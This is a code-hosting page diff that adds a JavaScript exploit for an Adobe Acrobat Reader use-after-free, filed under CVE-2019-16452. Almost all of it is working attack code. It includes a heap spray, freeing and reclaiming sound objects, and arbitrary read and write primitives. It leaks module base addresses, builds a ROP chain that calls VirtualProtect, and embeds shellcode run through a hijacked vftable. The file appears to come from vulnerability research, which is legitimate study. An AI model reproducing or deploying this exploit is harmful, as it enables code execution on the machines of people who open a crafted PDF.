🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    CVE-2019-16452/adobe_tfc19.js
     1 +/* util functions */
     2 +console.show()
     3 +function gc() {new ArrayBuffer(3*1024*1024*100)}
     4 +function s2h(s) {
     5 + var n1 = s.charCodeAt(0)
     6 + var n2 = s.charCodeAt(1)
     7 + return ((n2<<16)|n1)>>>0
     8 +}
     9 +redv = new DataView(new ArrayBuffer(4))
     10 +function re(n) {
     11 + redv.setUint32(0, n, false)
     12 + return redv.getUint32(0, n, true)
     13 +}
     14 +function assert(condition) {
     15 + if (condition==false) {
     16 + console.println('assert')
     17 + throw ''
     18 + }
     19 +}
     20 +//////////////////////////////
     21 + 
     22 + 
     23 +STR_60 = "A".repeat(0x60/2-1)
     24 +FREE_110_SZ = 1024*2
     25 +FREES_110 = Array(FREE_110_SZ)
     26 + 
     27 +/* heap spray */
     28 +SPRAY_SIZE = 0x2000
     29 +SPRAY = Array(SPRAY_SIZE)
     30 +GUESS = 0x20000058 //0x20d00058
     31 +for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)
     32 +//////////////////////////////
     33 + 
     34 +/* prepare array elements buffer */
     35 +f = this.addField("f" , "listbox", 0, [0,0,0,0]);
     36 +t = Array(32)
     37 +for(var i=0; i<32; i++) t[i] = i
     38 +f.multipleSelection = 1
     39 +f.setItems(t)
     40 +f.currentValueIndices = t
     41 +/////////////////////////////////
     42 + 
     43 +/* prepare sound objects */
     44 +SOUND_SZ = 512
     45 +SOUNDS = Array(SOUND_SZ)
     46 +for(var i=0; i<512; i++) {
     47 + SOUNDS[i] = this.getSound(i)
     48 + SOUNDS[i].toString()
     49 +}
     50 +/////////////////////////////////
     51 + 
     52 +/* fence */
     53 +f.currentValueIndices = [1,2]
     54 +FENCE_SZ = 1024*10 //magic number don't touch it
     55 +FENCES = Array(FENCE_SZ)
     56 +for(var i=0; i<FENCE_SZ; i++) FENCES[i] = f.currentValueIndices
     57 +f.currentValueIndices = t
     58 +/////////////////////////////////
     59 + 
     60 +/* free and reclaim sound object */
     61 +RECLAIM_SZ = 512
     62 +RECLAIMS = Array(RECLAIM_SZ)
     63 +THRESHOLD_SZ = 1024*6
     64 +NTRY = 3
     65 +NOBJ = 8 //18
     66 +for(var i=0; i<NOBJ; i++) {
     67 + SOUNDS[i] = null //free one sound object
     68 + gc()
     69 + 
     70 + for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
     71 + try {
     72 + if (this.getSound(i)[0] == 0) {
     73 + RECLAIMS[i] = this.getSound(i)
     74 + } else {
     75 + console.println('RECLAIM SOUND OBJECT FAILED: '+i)
     76 + throw ''
     77 + }
     78 + }
     79 + catch (err) {
     80 + console.println('RECLAIM SOUND OBJECT FAILED: '+i)
     81 + throw ''
     82 + }
     83 + gc()
     84 +}
     85 +console.println('RECLAIM SOUND OBJECT SUCCEED')
     86 + 
     87 +/* free all allocated array objects */
     88 +this.removeField("f")
     89 +RECLAIMS = null
     90 +f = null
     91 +FENCES = null //free fence
     92 +gc()
     93 +/////////////////////////////////
     94 + 
     95 +for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
     96 +/* reclaim freed element buffer */
     97 +for(var i=0; i<FREE_110_SZ; i++) {
     98 + FREES_110[i] = new Uint32Array(64)
     99 + FREES_110[i][0] = 0x33441122
     100 + FREES_110[i][1] = 0xffffff81
     101 +}
     102 +T = null
     103 +for(var j=0; j<8; j++) {
     104 + try {
     105 + if (SOUNDS[j][0] == 0x33441122) {
     106 + T = SOUNDS[j]
     107 + break
     108 + }
     109 + } catch (err) {}
     110 +}
     111 +if (T==null) {
     112 + console.println('RECLAIM element buffer FAILED')
     113 + throw ''
     114 +} else console.println('RECLAIM element buffer SUCCEED')
     115 +/////////////////////////////////
     116 + 
     117 +/* create and leak the address of an array buffer */
     118 +WRITE_ARRAY = new Uint32Array(8)
     119 +T[0] = WRITE_ARRAY
     120 +T[1] = 0x11556611
     121 +for(var i=0; i<FREE_110_SZ; i++) {
     122 + if (FREES_110[i][0] != 0x33441122) {
     123 + FAKE_ELES = FREES_110[i]
     124 + WRITE_ARRAY_ADDR = FREES_110[i][0]
     125 + console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16))
     126 + assert(WRITE_ARRAY_ADDR>0)
     127 + break
     128 + } else {
     129 + FREES_110[i] = null
     130 + }
     131 +}
     132 +/////////////////////////////////
     133 + 
     134 +/* spray fake strings */
     135 +for(var i=0x1100; i<0x1400; i++) {
     136 + var dv = new DataView(SPRAY[i])
     137 + dv.setUint32(0, 0x102, true) //string header
     138 + dv.setUint32(4, GUESS+12, true) //string buffer, point here to leak back idx 0x20000064
     139 + dv.setUint32(8, 0x1f, true) //string length
     140 + dv.setUint32(12, i, true) //index into SPRAY that is at 0x20000058
     141 + delete dv
     142 +}
     143 +gc()
     144 +/////////////////////////////////
     145 + 
     146 +//app.alert("Create fake string done")
     147 +/* point one of our element to fake string */
     148 +FAKE_ELES[4] = GUESS
     149 +FAKE_ELES[5] = 0xffffff85
     150 +// /////////////////////////////////
     151 + 
     152 +// /* create aar primitive */
     153 +SPRAY_IDX = s2h(T[2])
     154 +console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16))
     155 +assert(SPRAY_IDX>=0)
     156 +DV = DataView(SPRAY[SPRAY_IDX])
     157 +function myread(addr) {
     158 + DV.setUint32(4, addr, true)
     159 + return s2h(T[2])
     160 +}
     161 +/////////////////////////////////
     162 + 
     163 +// /* create aaw primitive */
     164 +for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
     165 +FAKE_ELES[6] = GUESS+0x10
     166 +FAKE_ELES[7] = 0xffffff87
     167 +function mywrite(addr, val) {
     168 + DV.setUint32(96, addr, true)
     169 + T[3][0] = val
     170 +}
     171 +//mywrite(0x200000C8, 0x1337)
     172 +/////////////////////////////////
     173 + 
     174 +/* leak escript base */
     175 +//d8c5e69b5ff1cea53d5df4de62588065
     176 +ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ?
     177 +console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
     178 +assert(ESCRIPT_BASE>0)
     179 +/////////////////////////////////
     180 + 
     181 +/* leak .rdata:007A55BC ; const CTextField::`vftable' */
     182 +//f9c59c6cf718d1458b4af7bbada75243
     183 +for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]);
     184 +T[4] = STR_60.toLowerCase()
     185 +for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]);
     186 +MARK_ADDR = myread(FAKE_ELES[8]+4)
     187 +console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
     188 +assert(MARK_ADDR>0)
     189 +vftable = 0
     190 +while (1) {
     191 + MARK_ADDR += 4
     192 + vftable = myread(MARK_ADDR)
     193 + if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break
     194 +}
     195 +console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
     196 +assert(MARK_ADDR>0)
     197 +/////////////////////////////////
     198 + 
     199 +/* leak acroform, icucnv58 base address */
     200 +ACROFORM_BASE = vftable-0x07A55BC
     201 +console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
     202 +assert(ACROFORM_BASE>0)
     203 +r = myread(ACROFORM_BASE+0xBF2E2C)
     204 +//a86f5089230164fb6359374e70fe1739
     205 +ICU_BASE = myread(r+16)
     206 +console.println('ICU_BASE: ' + ICU_BASE.toString(16))
     207 +assert(ICU_BASE>0)
     208 +/////////////////////////////////
     209 + 
     210 +g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
     211 +g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
     212 +g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
     213 + 
     214 +//app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""});
     215 + 
     216 +/* copy CTextField vftable */
     217 +for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
     218 +mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable
     219 +/////////////////////////////////
     220 + 
     221 +// // /* 1st rop chain */
     222 +mywrite(MARK_ADDR+4, g3)
     223 +mywrite(MARK_ADDR+8, GUESS+0xbc)
     224 + 
     225 +// // /* 2nd rop chain */
     226 +rop = [
     227 +myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
     228 +GUESS+0x120, //return address
     229 +GUESS+0x120, //buffer
     230 +0x1000, //sz
     231 +0x40, //new protect
     232 +GUESS-0x20//old protect
     233 +]
     234 +for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
     235 + 
     236 +//shellcode
     237 +shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296]
     238 +for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
     239 + 
     240 +/* overwrite real vftable */
     241 +mywrite(MARK_ADDR, GUESS+64)
     242 + 
Please wait...
Page is in error, reload to recover